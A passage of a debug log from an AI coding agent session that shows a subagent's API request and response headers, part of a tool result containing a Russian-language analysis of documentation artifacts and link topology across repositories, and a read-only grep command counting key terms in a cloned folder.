\u0437\u043d\u0430\u043d\u0438\u044f \u2014\\n   \u0443 Mango \u043a\u043b\u0430\u0441\u0441 Research \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438.\\n2. **\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b \u0440\u0430\u0441\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u044b** (26 / 19 / 8). \u041d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0441\u043b\u043e\u0439 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\\n   \u0442\u0440\u0451\u0445 \u043c\u0435\u0441\u0442\u0430\u0445 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e; \u043d\u0438 \u043e\u0434\u0438\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043d\u0435 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u0438\u0445 \u0432\\n   \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f.\\n3. **\u0420\u0435\u0448\u0435\u043d\u0438\u0439 \u0431\u043e\u043b\u044c\u0448\u0435, \u0447\u0435\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439, \u0432 \u043e\u0431\u0435\u0438\u0445 \u0441\u043f\u0438\u0446\u0430\u0445.** \u0423 Mango 26 ADR+RFC\\n   \u043f\u0440\u043e\u0442\u0438\u0432 7 Analysis; \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0442\u0441\u044f \u0431\u044b\u0441\u0442\u0440\u0435\u0435, \u0447\u0435\u043c \u043d\u0430\u043a\u0430\u043f\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f\\n   \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430.\\n\\n## 3. \u0420\u0435\u0435\u0441\u0442\u0440 \u043f\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u0430\u043c\\n\\n| \u0421\u0442\u0430\u0442\u0443\u0441 | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 | \u0414\u043e\u043b\u044f |\\n| --- | --- | --- |\\n| `draft` | 242 | 65,8 % |\\n| \u0431\u0435\u0437 frontmatter | 53 | 14,4 % |\\n| `accepted` | 41 | 11,1 % |\\n| `proposed` | 17 | 4,6 % |\\n| `canonical` | 7 | 1,9 % |\\n| `reviewed` | 5 | 1,4 % |\\n| `superseded` / `review` / `complete` | \u043f\u043e 1 | 0,8 % |\\n\\n**\u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u0444\u0430\u043a\u0442 \u0434\u043b\u044f \u0424\u0422-2.** \u0414\u043e\u043b\u044f \u0437\u043d\u0430\u043d\u0438\u044f, \u0434\u043e\u0448\u0435\u0434\u0448\u0435\u0433\u043e \u0434\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u00ab\u043f\u0440\u0438\u0433\u043e\u0434\u043d\u043e \u043a\u0430\u043a\\n\u043d\u043e\u0440\u043c\u0430\u00bb (`canonical` + `accepted`), \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 **48 \u0438\u0437 368 \u2014 13 %**. \u0412\u0441\u0435 53\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0431\u0435\u0437 frontmatter \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0442 `clarify-engine-ai`: \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043d\u0435\\n\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d \u043a \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 frontmatter \u0425\u0430\u0431\u0430\\n([`standards/frontmatter-docs-standard.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/frontmatter-docs-standard.md)),\\n\u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0435\u0433\u043e \u0437\u043d\u0430\u043d\u0438\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u043e \u043d\u0435\u043e\u0442\u043b\u0438\u0447\u0438\u043c\u043e \u043f\u043e \u0437\u0440\u0435\u043b\u043e\u0441\u0442\u0438.\\n## 5. \u0422\u043e\u043f\u043e\u043b\u043e\u0433\u0438\u044f\\n\\n\u0413\u0440\u0430\u0444 \u0441\u0441\u044b\u043b\u043e\u043a \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u0440\u043f\u0443\u0441\u0430: **3361 \u0440\u0435\u0431\u0440\u043e**, \u0438\u0437 \u043d\u0438\u0445 **200 \u2014 \u043c\u0435\u0436\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u043d\u044b\u0435**,\\n**19 \u0443\u0437\u043b\u043e\u0432 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b** (\u043d\u0438 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0445, \u043d\u0438 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0440\u0451\u0431\u0435\u0440 \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u0440\u043f\u0443\u0441\u0430).\\n\\n### 5.1. \u041c\u0435\u0436\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u043d\u044b\u0435 \u0441\u0432\u044f\u0437\u0438 \u0430\u0441\u0438\u043c\u043c\u0435\u0442\u0440\u0438\u0447\u043d\u044b\\n\\n| \u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 | \u0420\u0451\u0431\u0435\u0440 |\\n| --- | --- |\\n| `mango` \u2192 `hub` | 81 |\\n| `hub` \u2192 `mango` | 31 |\\n| `hub` \u2192 `clarify` | 1 |\\n| `clarify` \u2192 `hub` | 0 |\\n| `clarify` \u2192 `mango`, `mango` \u2192 `clarify` | 0 |\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u00ab\u0425\u0430\u0431 \u2014 \u0441\u043f\u0438\u0446\u0430\u00bb \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f Mango: \u0441\u043f\u0438\u0446\u0430 \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0425\u0430\u0431 \u0432 2,6 \u0440\u0430\u0437\u0430 \u0447\u0430\u0449\u0435, \u0447\u0435\u043c \u0425\u0430\u0431 \u043d\u0430 \u043d\u0435\u0451, \u2014 \u044d\u0442\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0442\u043e\u043f\u043e\u043b\u043e\u0433\u0438\u044f \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\\n\u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438. \u0423 `clarify-engine-ai` **\u043a\u0430\u043d\u0430\u043b \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442**: \u043e\u0434\u043d\u0430\\n\u0432\u0445\u043e\u0434\u044f\u0449\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u0438 \u043d\u0438 \u043e\u0434\u043d\u043e\u0439 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0439, \u0442\u043e \u0435\u0441\u0442\u044c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043d\u0435 \u0446\u0438\u0442\u0438\u0440\u0443\u0435\u0442\\n\u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044e \u0425\u0430\u0431\u0430 \u0438 \u043d\u0435 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0437\u043d\u0430\u043d\u0438\u0435 \u0432 \u043d\u0435\u0433\u043e.\\n\\n> **\u0427\u0442\u043e \u044d\u0442\u043e\u0442 \u043d\u043e\u043b\u044c \u0437\u043d\u0430\u0447\u0438\u0442 \u0438 \u0447\u0435\u0433\u043e \u043d\u0435 \u0437\u043d\u0430\u0447\u0438\u0442.** \u041d\u043e\u043b\u044c \u2014 \u043c\u0435\u0442\u0440\u0438\u043a\u0430 **\u0446\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f**, \u0430 \u043d\u0435\\n> \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f. \u0418\u0437 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0440\u0451\u0431\u0435\u0440 \u043d\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u043d\u0438\u044f, \u0438\\n> \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0442\u044c \u043e\u0434\u043d\u043e \u0434\u0440\u0443\u0433\u0438\u043c \u043d\u0435\u043b\u044c\u0437\u044f: \u044d\u0442\u043e \u0441\u0443\u0437\u0438\u043b\u043e \u0431\u044b \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440 \u0442\u0435\u043c\u044b \u043f\u043e \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u043c\u0443\\n> \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0443. \u0421\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u043d\u0435\u0441\u0435\u043d\u0430 \u0432 \u00a75.3.\",\n[2026-09-29T07:45:51.967Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:51.967Z] [INFO]       }\n[2026-09-29T07:45:51.967Z] [INFO]     ]\n[2026-09-29T07:45:51.967Z] [INFO]   },\n[2026-09-29T07:45:51.967Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:51.967Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:51.967Z] [INFO]   \"uuid\": \"af887a1a-7856-4f31-8c0c-0b52b2159e1d\",\n[2026-09-29T07:45:51.967Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:51.963Z\",\n[2026-09-29T07:45:51.967Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:51.967Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:51.967Z] [INFO] }\n[2026-09-29T07:45:52.008Z] [STDOUT] [log_debf8c] sending request {\n[2026-09-29T07:45:52.013Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:52.018Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:52.030Z] [STDOUT]   options: {\n[2026-09-29T07:45:52.035Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:52.040Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:52.050Z] [STDOUT]     body: {\n[2026-09-29T07:45:52.065Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:52.071Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:52.074Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:52.077Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:52.083Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:52.087Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:52.096Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:52.101Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:52.110Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:52.114Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:52.126Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:52.131Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:52.133Z] [STDOUT]     },\n[2026-09-29T07:45:52.140Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:52.145Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:52.148Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:52.158Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:52.165Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:52.179Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:52.184Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:52.204Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:52.217Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:52.241Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:52.244Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:52.247Z] [STDOUT]     },\n[2026-09-29T07:45:52.249Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:52.251Z] [STDOUT]   },\n[2026-09-29T07:45:52.254Z] [STDOUT]   headers: {\n[2026-09-29T07:45:52.264Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:52.268Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:52.275Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:52.278Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:52.283Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:52.288Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:52.298Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:52.302Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:52.305Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:52.308Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:52.326Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:52.337Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1171\",\n[2026-09-29T07:45:52.342Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:52.347Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:52.352Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:52.355Z] [STDOUT]     \"x-client-request-id\": \"238b0771-4b7b-4e64-982f-566cf879f298\",\n[2026-09-29T07:45:52.361Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:52.365Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:52.369Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:52.373Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:52.377Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:52.380Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:52.384Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:52.386Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:52.390Z] [STDOUT]   },\n[2026-09-29T07:45:52.395Z] [STDOUT] }\n[2026-09-29T07:45:52.837Z] [STDOUT] [log_debf8c, request-id: \"req_011CfXMnmHb4ULj5gGvBR3ns\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 831ms\n[2026-09-29T07:45:52.841Z] [STDOUT] [log_debf8c] response start {\n[2026-09-29T07:45:52.852Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:52.866Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:52.871Z] [STDOUT]   headers: {\n[2026-09-29T07:45:52.874Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:52.878Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:52.881Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:52.884Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:52.891Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:52.901Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:52.907Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:52.911Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:52.916Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:52.921Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:52.926Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:52.929Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:52.933Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:52.940Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:52.943Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:52.948Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:52.953Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:52.957Z] [STDOUT]     \"cf-ray\": \"a4295eec1fc029ad-FRA\",\n[2026-09-29T07:45:52.961Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:52.964Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:52.970Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:52.973Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:52.979Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:52 GMT\",\n[2026-09-29T07:45:52.982Z] [STDOUT]     \"request-id\": \"req_011CfXMnmHb4ULj5gGvBR3ns\",\n[2026-09-29T07:45:52.984Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:52.986Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:52.990Z] [STDOUT]     traceresponse: \"00-4b4354ccc67f827d0049dafa3df3fc99-6663a1aad88bad38-01\",\n[2026-09-29T07:45:52.995Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:52.999Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:53.003Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:53.010Z] [STDOUT]   },\n[2026-09-29T07:45:53.016Z] [STDOUT]   durationMs: 831,\n[2026-09-29T07:45:53.023Z] [STDOUT] }\n[2026-09-29T07:45:53.033Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:53.036Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:52 GMT\",\n[2026-09-29T07:45:53.039Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:53.048Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:53.052Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:53.055Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:53.059Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:53.062Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:53.065Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:53.068Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:53.079Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:53.084Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:53.090Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:53.093Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:53.098Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:53.103Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:53.106Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:53.113Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:53.117Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:53.130Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:53.135Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:53.139Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:53.145Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:53.151Z] [STDOUT]   \"request-id\": \"req_011CfXMnmHb4ULj5gGvBR3ns\",\n[2026-09-29T07:45:53.159Z] [STDOUT]   \"traceresponse\": \"00-4b4354ccc67f827d0049dafa3df3fc99-6663a1aad88bad38-01\",\n[2026-09-29T07:45:53.163Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:53.169Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:53.177Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:53.187Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:53.197Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:53.201Z] [STDOUT]   \"cf-ray\": \"a4295eec1fc029ad-FRA\",\n[2026-09-29T07:45:53.206Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:53.215Z] [STDOUT] [log_debf8c] response parsed {\n[2026-09-29T07:45:53.221Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:53.227Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:53.232Z] [STDOUT]   body: X {\n[2026-09-29T07:45:53.236Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:53.241Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:53.246Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:53.252Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:53.263Z] [STDOUT]     },\n[2026-09-29T07:45:53.267Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:53.273Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:53.277Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:53.282Z] [STDOUT]   },\n[2026-09-29T07:45:53.286Z] [STDOUT]   durationMs: 832,\n[2026-09-29T07:45:53.293Z] [STDOUT] }\n[2026-09-29T07:45:53.308Z] [INFO] {\n[2026-09-29T07:45:53.308Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:53.308Z] [INFO]   \"message\": {\n[2026-09-29T07:45:53.308Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:53.308Z] [INFO]     \"id\": \"msg_011CfXMnRbAtdXK3ruYuoxrs\",\n[2026-09-29T07:45:53.308Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:53.308Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:53.308Z] [INFO]     \"content\": [\n[2026-09-29T07:45:53.308Z] [INFO]       {\n[2026-09-29T07:45:53.308Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:53.308Z] [INFO]         \"id\": \"toolu_012v9Ec9K2cCgKGrGG32u9MJ\",\n[2026-09-29T07:45:53.308Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:45:53.308Z] [INFO]         \"input\": {\n[2026-09-29T07:45:53.308Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && for t in GigaCode Gigacode gigacode Cline cline \\\"Claude Code\\\" Codex \\\"Qwen\\\" \\\"qwen chat\\\" \\\"chat.qwen\\\" \\\"OpenAI Codex\\\" \\\"Cursor\\\" \\\"konard\\\" \\\"hive-mind\\\" \\\"AI issue solver\\\" \\\"golden\\\" \\\"\u044d\u0442\u0430\u043b\u043e\u043d\\\" \\\"fail-closed\\\" \\\"human gate\\\" \\\"human-gate\\\" \\\"skill\\\" \\\"SKILL.md\\\" \\\"\u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\\\" \\\"\u0441\u0432\u0435\u0440\u043a\\\" \\\"twin\\\" \\\"Jira\\\" \\\"Confluence\\\"; do printf \\\"%-18s %s files\\\\n\\\" \\\"$t\\\" \\\"$(grep -rIl --exclude-dir=.git -- \\\"$t\\\" . | wc -l)\\\"; done\",\n[2026-09-29T07:45:53.308Z] [INFO]           \"description\": \"Search key terms counts\"\n[2026-09-29T07:45:53.308Z] [INFO]         },\n[2026-09-29T07:45:53.308Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:53.308Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:53.308Z] [INFO]         }\n[2026-09-29T07:45:53.308Z] [INFO]       }\n[2026-09-29T07:45:53.308Z] [INFO]     ],\n[2026-09-29T07:45:53.308Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:53.308Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:53.308Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:53.308Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:53.308Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:53.308Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:53.308Z] [INFO]       \"cache_creation_input_tokens\": 10610,\n[2026-09-29T07:45:53.308Z] [INFO]       \"cache_read_input_tokens\": 67044,\n[2026-09-29T07:45:53.308Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:53.308Z] [INFO]         \"ephemeral_5m_input_tokens\": 10610,\n[2026-09-29T07:45:53.308Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:53.308Z] [INFO]       },\n[2026-09-29T07:45:53.308Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:45:53.308Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:53.308Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:53.308Z] [INFO]     },\n[2026-09-29T07:45:53.308Z] [INFO]   